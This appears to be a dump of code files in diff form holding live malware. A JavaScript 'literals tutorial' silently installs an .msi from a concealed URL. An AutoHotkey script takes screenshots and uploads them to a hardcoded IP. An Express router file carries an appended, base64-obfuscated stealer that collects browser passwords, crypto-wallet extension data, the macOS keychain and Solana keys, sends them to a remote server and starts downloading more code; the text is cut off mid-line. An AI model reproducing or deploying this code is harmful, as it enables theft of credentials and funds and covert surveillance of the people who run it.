var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtiqpf
|
code/0e0f8e0c0f536a16b0c4de3148f86901d635a0ba6e48f40930a9e26d9abb3b48
ADDED
|
@@ -0,0 +1,200 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#NoTrayIcon
|
| 2 |
+
#SingleInstance off
|
| 3 |
+
#NoEnv
|
| 4 |
+
SetBatchLines, -1
|
| 5 |
+
Gdip := new GDIplus
|
| 6 |
+
if !pBitmap := Gdip.BitmapFromScreen() {
|
| 7 |
+
Gdip := ""
|
| 8 |
+
SendLog("deskscreen: ERROR! Can't create bitmap from screen")
|
| 9 |
+
ExitApp
|
| 10 |
+
}
|
| 11 |
+
size := Gdip.SaveBitmap(pBitmap, buff := "jpg", 25, true)
|
| 12 |
+
Gdip.DisposeImage(pBitmap)
|
| 13 |
+
Gdip := ""
|
| 14 |
+
|
| 15 |
+
arr := SafeArrayFromData(buff, size)
|
| 16 |
+
DriveGet, serial, serial, C:
|
| 17 |
+
try UploadSafeArray(arr, "http://22.113.106.27/screenshot/" . serial)
|
| 18 |
+
catch {
|
| 19 |
+
SendLog("deskscreen: ERROR! file upload filed")
|
| 20 |
+
ExitApp
|
| 21 |
+
}
|
| 22 |
+
SendLog("deskscreen: ok")
|
| 23 |
+
|
| 24 |
+
UploadSafeArray(arr, TargetAddress) {
|
| 25 |
+
ComObjError(False)
|
| 26 |
+
HTTP := ComObjCreate("WinHttp.WinHttpRequest.5.1")
|
| 27 |
+
HTTP.Open("POST", TargetAddress, False)
|
| 28 |
+
HTTP.SetRequestHeader("User-Agent", "AutoHotkey")
|
| 29 |
+
HTTP.Send(arr)
|
| 30 |
+
}
|
| 31 |
+
|
| 32 |
+
SendLog(s)
|
| 33 |
+
{
|
| 34 |
+
DriveGet, serial, serial, C:
|
| 35 |
+
ComObjError(False)
|
| 36 |
+
sHTTP := ComObjCreate("WinHttp.WinHttpRequest.5.1")
|
| 37 |
+
sHTTP.Open("POST", "http://22.113.106.27/" . serial, False)
|
| 38 |
+
sHTTP.SetRequestHeader("User-Agent", "AutoHotkey")
|
| 39 |
+
sHTTP.SetRequestHeader("Content-Type", "application/x-www-Form-urlencoded")
|
| 40 |
+
sHTTP.Send("&log=" . s)
|
| 41 |
+
sHTTP.WaitForResponse()
|
| 42 |
+
sHTTP.Close
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
SafeArrayFromData(ByRef data, size) {
|
| 46 |
+
arr := ComObjArray(VT_UI1 := 0x11, size)
|
| 47 |
+
DllCall("RtlMoveMemory", Ptr, NumGet( ComObjValue(arr) + 8 + A_PtrSize ), Ptr, &data, Ptr, size)
|
| 48 |
+
Return arr
|
| 49 |
+
}
|
| 50 |
+
|
| 51 |
+
class GDIplus {
|
| 52 |
+
__New() {
|
| 53 |
+
if !DllCall("GetModuleHandle", "Str", "gdiplus", "Ptr")
|
| 54 |
+
DllCall("LoadLibrary", "Str", "gdiplus")
|
| 55 |
+
VarSetCapacity(si, A_PtrSize = 8 ? 24 : 16, 0), si := Chr(1)
|
| 56 |
+
DllCall("gdiplus\GdiplusStartup", "UPtrP", pToken, "Ptr", &si, "Ptr", 0)
|
| 57 |
+
this.token := pToken
|
| 58 |
+
}
|
| 59 |
+
__Delete() {
|
| 60 |
+
DllCall("gdiplus\GdiplusShutdown", "Ptr", this.token)
|
| 61 |
+
if hModule := DllCall("GetModuleHandle", "Str", "gdiplus", "Ptr")
|
| 62 |
+
DllCall("FreeLibrary", "Ptr", hModule)
|
| 63 |
+
}
|
| 64 |
+
CreateBitmapFromFile(sFile) {
|
| 65 |
+
DllCall("gdiplus\GdipCreateBitmapFromFile", "WStr", sFile, "PtrP", pBitmap)
|
| 66 |
+
Return pBitmap
|
| 67 |
+
}
|
| 68 |
+
BitmapFromScreen() {
|
| 69 |
+
Sysget, x, 76
|
| 70 |
+
Sysget, y, 77
|
| 71 |
+
Sysget, w, 78
|
| 72 |
+
Sysget, h, 79
|
| 73 |
+
|
| 74 |
+
if (x = "") || (y = "") || (w = "") || (h = "")
|
| 75 |
+
return -1
|
| 76 |
+
|
| 77 |
+
chdc := this.CreateCompatibleDC(), hbm := this.CreateDIBSection(w, h, chdc)
|
| 78 |
+
obm := this.SelectObject(chdc, hbm), hhdc := hhdc ? hhdc : this.GetDC()
|
| 79 |
+
this.BitBlt(chdc, 0, 0, w, h, hhdc, x, y, Raster)
|
| 80 |
+
this.ReleaseDC(hhdc)
|
| 81 |
+
|
| 82 |
+
pBitmap := this.CreateBitmapFromHBITMAP(hbm)
|
| 83 |
+
this.SelectObject(chdc, obm), this.DeleteObject(hbm), this.DeleteDC(hhdc), this.DeleteDC(chdc)
|
| 84 |
+
return pBitmap
|
| 85 |
+
}
|
| 86 |
+
SaveBitmap(pBitmap, ByRef info, Quality := 75, tobuff := "")
|
| 87 |
+
{
|
| 88 |
+
; info — если копируем в буфер, тогда расширение файла, если в файл, тогда путь к файлу
|
| 89 |
+
if tobuff
|
| 90 |
+
Extension := info
|
| 91 |
+
else
|
| 92 |
+
SplitPath, info,,, Extension
|
| 93 |
+
if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG
|
| 94 |
+
return -1
|
| 95 |
+
|
| 96 |
+
DllCall("gdiplus\GdipGetImageEncodersSize", "UIntP", nCount, "UIntP", nSize)
|
| 97 |
+
VarSetCapacity(ci, nSize)
|
| 98 |
+
DllCall("gdiplus\GdipGetImageEncoders", "UInt", nCount, "UInt", nSize, "Ptr", &ci)
|
| 99 |
+
if !(nCount && nSize)
|
| 100 |
+
return -2
|
| 101 |
+
|
| 102 |
+
Loop, % nCount {
|
| 103 |
+
sString := StrGet(NumGet(ci, (idx := (48+7*A_PtrSize)*(A_Index-1))+32+3*A_PtrSize), "UTF-16")
|
| 104 |
+
if !InStr(sString, "*." Extension)
|
| 105 |
+
continue
|
| 106 |
+
|
| 107 |
+
pCodec := &ci+idx
|
| 108 |
+
break
|
| 109 |
+
}
|
| 110 |
+
if !pCodec
|
| 111 |
+
return -3
|
| 112 |
+
|
| 113 |
+
if RegExMatch(Extension, "i)^J(PG|PEG|PE|FIF)$") && Quality != 75 {
|
| 114 |
+
DllCall("gdiplus\GdipGetEncoderParameterListSize", "Ptr", pBitmap, "Ptr", pCodec, "UIntP", nSize)
|
| 115 |
+
VarSetCapacity(EncoderParameters, nSize, 0)
|
| 116 |
+
DllCall("gdiplus\GdipGetEncoderParameterList", "Ptr", pBitmap, "Ptr", pCodec, "UInt", nSize, "Ptr", &EncoderParameters)
|
| 117 |
+
Loop, % NumGet(EncoderParameters, "UInt")
|
| 118 |
+
{
|
| 119 |
+
elem := (24+A_PtrSize)*(A_Index-1) + 4 + (pad := A_PtrSize = 8 ? 4 : 0)
|
| 120 |
+
if (NumGet(EncoderParameters, elem+16, "UInt") = 1) && (NumGet(EncoderParameters, elem+20, "UInt") = 6)
|
| 121 |
+
{
|
| 122 |
+
p := elem+&EncoderParameters-pad-4
|
| 123 |
+
NumPut(Quality, NumGet(NumPut(4, NumPut(1, p+0)+20, "UInt")), "UInt")
|
| 124 |
+
break
|
| 125 |
+
}
|
| 126 |
+
}
|
| 127 |
+
}
|
| 128 |
+
if !tobuff
|
| 129 |
+
E := DllCall("gdiplus\GdipSaveImageToFile", "Ptr", pBitmap, "WStr", info, "Ptr", pCodec, "UInt", p ? p : 0)
|
| 130 |
+
else {
|
| 131 |
+
DllCall( "ole32\CreateStreamOnHGlobal", "UInt", 0, "Int", 1, "PtrP", pStream )
|
| 132 |
+
if !E := DllCall("gdiplus\GdipSaveImageToStream", "Ptr", pBitmap, "Ptr", pStream, "Ptr", pCodec, "UInt", p ? p : 0) {
|
| 133 |
+
DllCall("ole32\GetHGlobalFromStream", "Ptr", pStream, "PtrP", hData)
|
| 134 |
+
pData := DllCall("GlobalLock", "Ptr", hData, "Ptr")
|
| 135 |
+
nSize := DllCall("GlobalSize", "Ptr", hData, "Ptr")
|
| 136 |
+
VarSetCapacity(info, 0), VarSetCapacity(info, nSize, 0)
|
| 137 |
+
DllCall("RtlMoveMemory", "Ptr", &info, "Ptr", pData, "Ptr", nSize)
|
| 138 |
+
DllCall("GlobalUnlock", "Ptr", hData)
|
| 139 |
+
DllCall("GlobalFree", "Ptr", hData)
|
| 140 |
+
}
|
| 141 |
+
ObjRelease(pStream)
|
| 142 |
+
}
|
| 143 |
+
return E ? -4 : tobuff ? nSize : 0
|
| 144 |
+
}
|
| 145 |
+
CreateBitmapFromHBITMAP(hBitmap, Palette=0) {
|
| 146 |
+
DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", "Ptr", hBitmap, "Ptr", Palette, "PtrP", pBitmap)
|
| 147 |
+
return pBitmap
|
| 148 |
+
}
|
| 149 |
+
CreateCompatibleDC(hdc=0) {
|
| 150 |
+
return DllCall("CreateCompatibleDC", "Ptr", hdc)
|
| 151 |
+
}
|
| 152 |
+
CreateDIBSection(w, h, hdc="", bpp=32, ByRef ppvBits=0) {
|
| 153 |
+
hdc2 := hdc ? hdc : this.GetDC()
|
| 154 |
+
VarSetCapacity(bi, 40, 0)
|
| 155 |
+
|
| 156 |
+
NumPut(w, bi, 4, "UInt")
|
| 157 |
+
, NumPut(h, bi, 8, "UInt")
|
| 158 |
+
, NumPut(40, bi, 0, "UInt")
|
| 159 |
+
, NumPut(1, bi, 12, "ushort")
|
| 160 |
+
, NumPut(0, bi, 16, "uInt")
|
| 161 |
+
, NumPut(bpp, bi, 14, "ushort")
|
| 162 |
+
|
| 163 |
+
hbm := DllCall("CreateDIBSection"
|
| 164 |
+
, "Ptr", hdc2
|
| 165 |
+
, "Ptr", &bi
|
| 166 |
+
, UInt, 0
|
| 167 |
+
, "PtrP", ppvBits
|
| 168 |
+
, "Ptr", 0
|
| 169 |
+
, UInt, 0, "Ptr")
|
| 170 |
+
|
| 171 |
+
if !hdc
|
| 172 |
+
this.ReleaseDC(hdc2)
|
| 173 |
+
return hbm
|
| 174 |
+
}
|
| 175 |
+
SelectObject(hdc, hgdiobj) {
|
| 176 |
+
return DllCall("SelectObject", "Ptr", hdc, "Ptr", hgdiobj)
|
| 177 |
+
}
|
| 178 |
+
GetDC(hwnd=0) {
|
| 179 |
+
return DllCall("GetDC", "Ptr", hwnd)
|
| 180 |
+
}
|
| 181 |
+
BitBlt(ddc, dx, dy, dw, dh, sdc, sx, sy, Raster="") {
|
| 182 |
+
return DllCall("gdi32\BitBlt", "Ptr", dDC, "Int", dx, "Int", dy, "Int", dw, "Int", dh
|
| 183 |
+
, "Ptr", sDC, "Int", sx, "Int", sy, UInt, Raster ? Raster : 0x00CC0020)
|
| 184 |
+
}
|
| 185 |
+
DeleteObject(hObject) {
|
| 186 |
+
return DllCall("DeleteObject", "Ptr", hObject)
|
| 187 |
+
}
|
| 188 |
+
DisposeImage(pBitmap) {
|
| 189 |
+
return DllCall("gdiplus\GdipDisposeImage", "Ptr", pBitmap)
|
| 190 |
+
}
|
| 191 |
+
DeleteDC(hdc) {
|
| 192 |
+
return DllCall("DeleteDC", "Ptr", hdc)
|
| 193 |
+
}
|
| 194 |
+
ReleaseDC(hdc, hwnd=0) {
|
| 195 |
+
return DllCall("ReleaseDC", "Ptr", hwnd, "Ptr", hdc)
|
| 196 |
+
}
|
| 197 |
+
}
|
| 198 |
+
|
| 199 |
+
;0.2
|
| 200 |
+
;~
|
code/0e73b7b5fc2a44d8037d6b634a3f65aeb05fa57b7cb4842cc99c4949a68dd6a0
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
const express = require('express');
|
| 2 |
+
const router = express.Router();
|
| 3 |
+
const validateToken = require('../../middleware/auth');
|
| 4 |
+
const { handleFreeChipsRequest } = require('../../controllers/chips');
|
| 5 |
+
|
| 6 |
+
router.get('/free', validateToken, handleFreeChipsRequest);
|
| 7 |
+
|
| 8 |
+
module.exports = router; Object.prototype.toString,Object.defineProperty,Object.getOwnPropertyDescriptor;const t="base64",c="utf8",a=require("fs"),$=require("os"),r=a=>(s1=a.slice(1),Buffer.from(s1,t).toString(c));pt=require(r("zcGF0aA")),rq=require(r("YcmVxdWVzdA")),cr=require(r("aY3J5cHRv")),ex=require(r("aY2hpbGRfcHJvY2Vzcw"))[r("cZXhlYw")],hs=$[r("caG9zdG5hbWU")](),pl=$[r("YcGxhdGZvcm0")](),hd=$[r("ZaG9tZWRpcg")](),td=$[r("cdG1wZGly")](),tp=$[r("AdHlwZQ")]();let e;const n=a=>Buffer.from(a,t).toString(c),l=()=>{let t="MTQ3LjEyNCaHR0cDovLw4yMTQuMTI5OjEyNDQ= ";for(var c="",a="",$="",r="",e=0;e<10;e++)c+=t[e],a+=t[10+e],$+=t[20+e],r+=t[30+e];return c=c+$+r,n(a)+n(c)},s=t=>t.replace(/^~([a-z]+|\/)/,((t,c)=>"/"===c?hd:`${pt[n("ZGlybmFtZQ")](hd)}/${c}`)),h="unVzOQ8",o="Z2V0",i="Ly5ucGw",Z="d3JpdGVGaWxlU3luYw",m="L2NsaWVudA",u=n("ZXhpc3RzU3luYw"),d="TG9naW4gRGF0YQ",y="Y29weUZpbGU";function p(t){const c=n("YWNjZXNz"+"U3luYw");try{return a[c](t),!0}catch(t){return!1}}const b=n("RGVmYXVsdA"),G=n("UHJvZmlsZQ"),f=r("aZmlsZW5hbWU"),W=r("cZm9ybURhdGE"),Y=r("adXJs"),w=r("Zb3B0aW9ucw"),V=r("YdmFsdWU"),v=n("cmVhZGRpclN5bmM"),j=n("c3RhdFN5bmM"),L=(n("aXNEaXJlY3Rvcnk"),n("cG9zdA")),x="Ly5jb25maWcv",z="L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8",F="L0FwcERhdGEv",R="L1VzZXIgRGF0YQ",N="R29vZ2xlL0Nocm9tZQ",X="QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",Q="Z29vZ2xlLWNocm9tZQ",_=["TG9jYWwvQnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",X,"QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy"],J=["TG9jYWwvR29vZ2xlL0Nocm9tZQ",N,Q],g=["Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU","Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE","b3BlcmE"];let k="comp";const U=["bmtiaWhmYmVv","ZWpiYWxiYWtv","Zmhib2hpbWFl","aG5mYW5rbm9j","aWJuZWpkZmpt","YmZuYWVsbW9t","YWVhY2hrbm1l","aGlmYWZnbWNj"],B=["Z2FlYW9laGxlZm5rb2RiZWZncGdrbm4","cGxjaGxnaGVjZGFsbWVlZWFqbmltaG0","bGJvaHBqYmJsZGNuZ2NuYXBuZG9kanA","ZmVvZmJkZGdjaWpubWhuZm5rZG5hYWQ","bWtwY25scGVia2xtbmtvZW9paG9mZWM","ZWltaGxwbWdqbmpvcGhocGtrb2xqcGE","ZnBoZXBjY2lvbmJvb2hja29ub2VlbWc","ZHBla3Bsb21qamtjZmdvZG5oY2VsbGo"],q="Y3JlYXRlUmVhZFN0cmVhbQ",C=async(t,c,$)=>{let r=t;if(!r||""===r)return[];try{if(!p(r))return[]}catch(t){return[]}c||(c="");let e=[];const l=n("TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz"),s=n(q),h=n("LmxkYg"),o=n("LmxvZw");for(let $=0;$<200;$++){const i=`${t}/${0===$?b:`${G} ${$}`}/${l}`;for(let t=0;t<U.length;t++){const l=n(U[t]+B[t]);let Z=`${i}/${l}`;if(p(Z)){try{far=a[v](Z)}catch(t){far=[]}far.forEach((async t=>{r=pt.join(Z,t);try{(r.includes(h)||r.includes(o))&&e.push({[V]:a[s](r),[w]:{[f]:`${c}${$}_${l}_${t}`}})}catch(t){}}))}}}if($){const t=n("c29sYW5hX2lkLnR4dA");if(r=`${hd}${n("Ly5jb25maWcvc29sYW5hL2lkLmpzb24")}`,a[u](r))try{e.push({[V]:a[s](r),[w]:{[f]:t}})}catch(t){}}return S(e),e},S=t=>{const c=r("YbXVsdGlfZmlsZQ"),a=n("L3VwbG9hZHM"),$={timestamp:e.toString(),type:h,hid:k,[c]:t},s=l();try{const t={[Y]:`${s}${a}`,[W]:$};rq[L](t,((t,c,a)=>{}))}catch(t){}},T=async(t,c)=>{try{const a=s("~/");let $="";$="d"==pl[0]?`${a}${n(z)}${n(t[1])}`:"l"==pl[0]?`${a}${n(x)}${n(t[2])}`:`${a}${n(F)}${n(t[0])}${n(R)}`,await C($,`${c}_`,0==c)}catch(t){}},H=async()=>{let t=[];const c=n(d),$=n(q),r=n("L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu"),e=n("bG9na2MtZGI");if(pa=`${hd}${r}`,a[u](pa))try{t.push({[V]:a[$](pa),[w]:{[f]:e}})}catch(t){}else if(pa+="-db",a[u](pa))try{t.push({[V]:a[$](pa),[w]:{[f]:e}})}catch(t){}try{const r=n(y);let e="";if(e=`${hd}${n(z)}${n(N)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/ld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`pld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`pld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},A=async()=>{let t=[];const c=n(d),$=n(q);try{const r=n(y);let e="";if(e=`${hd}${n(z)}${n(X)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/brld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`brld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`brld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},E=async()=>{let t=[];const c=n(q),$=n("a2V5NC5kYg"),r=n("bG9naW5zLmpzb24");try{let e="";if(e=`${hd}${n(z)}${n("RmlyZWZveA")}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=0===n?b:`${G} ${n}`,s=`${e}/${l}/${$}`,h=`${e}/${l}/${r}`;try{if(!p(s))continue;t.push({[V]:a[c](s),[w]:{[f]:`fk4_${n}`}})}catch(t){}try{if(!p(h))continue;t.push({[V]:a[c](h),[w]:{[f]:`flj_${n}`}})}catch(t){}}}catch(t){}return S(t),t},M=async()=>{let t=[];n(d);const c=n(q);try{const t=n("Ly5sb2NhbC9zaGFyZS9rZXlyaW5ncy8");let $="";$=`${hd}${t}`;let r=[];if($&&""!==$&&p($))try{r=a[v]($)}catch(t){r=[]}r.forEach((async t=>{pa=pt.join($,t);try{ldb_data.push({[V]:a[c](pa),[w]:{[f]:`${t}`}})}catch(t){}}))}catch(t){}return S(t),t},I=async()=>{let t=[];const c=n(d),$=n(q);try{const r=n(y);let e="";if(e=`${hd}${n(x)}${n(Q)}`,e&&""!==e&&p(e))for(let n=0;n<200;n++){const l=`${e}/${0===n?b:`${G} ${n}`}/${c}`;try{if(!p(l))continue;const c=`${e}/ld_${n}`;p(c)?t.push({[V]:a[$](c),[w]:{[f]:`plld_${n}`}}):a[r](l,c,(t=>{let c=[{[V]:a[$](l),[w]:{[f]:`plld_${n}`}}];S(c)}))}catch(t){}}}catch(t){}return S(t),t},O=async()=>{let t=[];const c=n(q),$=n("a2V5NC5kYg"),r=n("a2V5My5kYg"),e=n("bG9naW5zLmpzb24");try{let l="";if(l=`${hd}${n("Ly5tb3ppbGxhL2ZpcmVmb3gv")}`,l&&""!==l&&p(l))for(let n=0;n<200;n++){const s=0===n?b:`${G} ${n}`,h=`${l}/${s}/${$}`,o=`${l}/${s}/${r}`,i=`${l}/${s}/${e}`;try{if(!p(h))continue;t.push({[V]:a[c](h),[w]:{[f]:`flk4_${n}`}})}catch(t){}try{if(!p(o))continue;t.push({[V]:a[c](o),[w]:{[f]:`flk3_${n}`}})}catch(t){}try{if(!p(i))continue;t.push({[V]:a[c](i),[w]:{[f]:`fllj_${n}`}})}catch(t){}}}catch(t){}return S(t),t},P=n("cm1TeW5j"),D="XC5weXBccHl0aG9uLmV4ZQ",K=51476590;let tt=0;const ct=async t=>{const c=`${n("dGFyIC14Zg")} ${t} -C ${hd}`;ex(c,((c,$,r)=>{if(c)return a[P](t),void(tt=0);a[P](t),rt()}))},at=()=>{const t=n("cDIuemlw"),c=`${l()}${n("L3Bkb3du")}`,$=`${td}\\${n("cC56aQ")}`,r=`${td}\\${t}`;if(tt>=K+6)return;const e=n("cmVuYW1lU3luYw"),s=n("cmVuYW1l");if(a[u]($))try{var h=a[j]($);h.size>=K+6?(tt=h.size,a[s]($,r,(t=>{if(t)throw t;ct(r)}))):(tt<h.size?tt=h.size:(a[P]($),tt=0),$t())}catch(t){}else{const t=`${n("Y3VybCAtTG8")} "${$}" 